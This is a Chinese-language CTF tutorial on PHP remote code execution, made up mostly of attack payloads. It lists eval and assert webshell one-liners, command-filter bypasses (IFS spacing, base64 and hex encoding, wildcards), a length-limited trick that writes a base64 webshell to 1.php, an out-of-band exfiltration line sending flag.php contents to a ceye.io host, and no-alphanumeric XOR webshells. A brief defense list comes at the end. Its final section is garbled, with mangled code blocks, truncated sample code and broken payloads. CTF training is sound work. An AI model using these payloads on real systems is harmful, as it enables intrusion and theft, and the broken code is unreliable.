CTF中WEB题——RCE漏洞利用与绕过技术详解
一、PHP命令执行相关函数
1. 直接执行系统命令的函数
-
system()
<?php system("whoami"); ?>- 执行命令并将结果直接输出到页面上
-
exec()
<?php echo exec("whoami"); ?>- 执行命令但默认不输出结果,需要通过echo显示
-
popen()
<?php $test = "ls /tmp/test"; $fp = popen($test,"r"); while (!feof($fp)) { $out = fgets($fp, 4096); echo $out; } pclose($fp); ?>- 打开进程通道,可以读取命令输出
-
proc_open()
<?php $test = "ipconfig"; $array = array( array("pipe","r"), // 标准输入 array("pipe","w"), // 标准输出 array("pipe","w") // 标准错误 ); $fp = proc_open($test,$array,$pipes); echo stream_get_contents($pipes[1]); proc_close($fp); ?>- 提供双向管道通信
-
passthru()
<?php passthru("whoami"); ?>- 执行命令并直接输出原始结果
-
shell_exec()
<?php echo shell_exec("whoami"); ?>- 执行命令并返回完整输出字符串
-
反引号运算符
<?php echo `whoami`; ?>- 与shell_exec()功能相同
-
pcntl_exec()
<?php pcntl_exec("/bin/bash", array("whoami")); ?>- 需要Linux环境和pcntl扩展
2. 代码注入相关函数
-
eval()
<?php @eval($_POST['cmd']); ?>- 将字符串作为PHP代码执行
- 需要分号结尾
-
assert()
<?php @assert($_POST['cmd']); ?>- 将参数作为PHP代码执行
- 不需要分号结尾
-
preg_replace()
preg_replace("/test/e", $_POST["cmd"], "jutst test");- 使用/e修饰符时存在代码执行漏洞
-
create_function()
$func = create_function('', $_POST['cmd']); $func();- 创建匿名函数执行代码
-
array_map()
$func = $_GET['func']; $cmd = $_POST['cmd']; $array[0] = $cmd; $new_array = array_map($func, $array); echo $new_array;- 将用户函数应用到数组每个值
-
call_user_func()
call_user_func("assert", $_POST['cmd']);- 调用回调函数
-
call_user_func_array()
$cmd = $_POST['cmd']; $array[0] = $cmd; call_user_func_array("assert", $array);- 以数组形式调用回调函数
-
array_filter()
$cmd = $_POST['cmd']; $array1 = array($cmd); $func = $_GET['func']; array_filter($array1, $func);- 使用回调函数过滤数组
-
uasort()
usort($_GET, 'asse'.'rt');- PHP环境>=5.6可用
二、绕过技术
1. 空格绕过
$IFS$9${IFS}%09(PHP环境下)- 重定向符
<,>,<>
2. 命令分隔符
%0a(换行符,需要PHP环境)%0d(回车符,需要PHP环境);(连续指令)&(不管第一条命令成功与否都执行第二条)&&(第一条成功才执行第二条)|(第一条结果作为第二条输入)||(第一条失败才执行第二条)
3. 关键字绕过
-
拼接绕过
a=l;b=s;$a$b a=c;b=at;c=f;d=lag;$a$b ${c}${d} -
编码绕过
- Base64:
echo "Y2F0IC9mbGFn"|base64 -d|bash - Hex:
echo "0x636174202f666c6167" | xxd -r -p|bash - Oct/字节:
$(printf "\154\163") # ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") # cat /flag
- Base64:
-
引号绕过
c'a't test c"a"t test -
反斜杠绕过
ca\t test -
$PATH绕过
`echo $PATH| cut -c 8,9`t test -
通配符绕过
cat t?st cat te* cat t[a-z]st cat t{a,b,c,d,e,f}st
4. 限制长度绕过
-
利用重定向创建文件
>a ls -t sh a -
使用管道拼接命令
l\ s = ls -
七字符限制绕过
w>hp w>1.p\\ w>d\>\\ w>\ -\\ w>e64\\ w>bas\\ w>7\|\\ w>XSk\\ w>Fsx\\ w>dFV\\ w>kX0\\ w>bCg\\ w>XZh\\ w>AgZ\\ w>waH\\ w>PD9\\ w>o\ \\ w>ech\\ ls -t|\sh等价于:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > 1.php -
四字符限制绕过
- 通过创建多个短文件拼接命令
- 使用rev命令反转命令顺序
5. 限制回显情况下的利用
-
判断命令是否执行
ls;sleep 3 -
利用外部服务带出数据
- HTTP请求:
http://ceye.io/payloads - DNS请求
- HTTP请求:
-
写shell
echo > wget -
带出数据
echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
6. 无字母、数字getshell
- 异或方式
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=
\[__; $_($___[_]); // assert($_POST[_]); ``` 2. **取反方式** ```php ${~"\xa0\xb8\xba\xab"} // $_GET ``` 3. **自增方式** ```php $A = "A"; $A++; // B ``` ## 三、实例分析 ```php 50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?> ``` **Payload:** ``` code=getFlag $_GET"; ${GET[_]($_GET[__]);=getFlag($_GET[__])=getFlag(null); ``` **更短的Payload (28字符):** ``` $_1c%1e%0f%3d%17%1a%1c";$_();#getFlag() ``` ## 四、防御建议 1. 禁用危险函数:`system`, `exec`, `passthru`, `shell_exec`, `popen`, `proc_open`, `eval`, `assert`等 2. 使用白名单过滤输入 3. 对命令参数进行严格过滤和转义 4. 使用escapeshellarg()和escapeshellcmd()函数处理命令参数 5. 禁用反引号运算符 6. 设置open_basedir限制文件访问范围 7. 使用disable_functions禁用危险函数 通过以上技术点的详细解析,可以全面了解CTF中RCE题目的各种利用和绕过方法,以及相应的防御措施。\]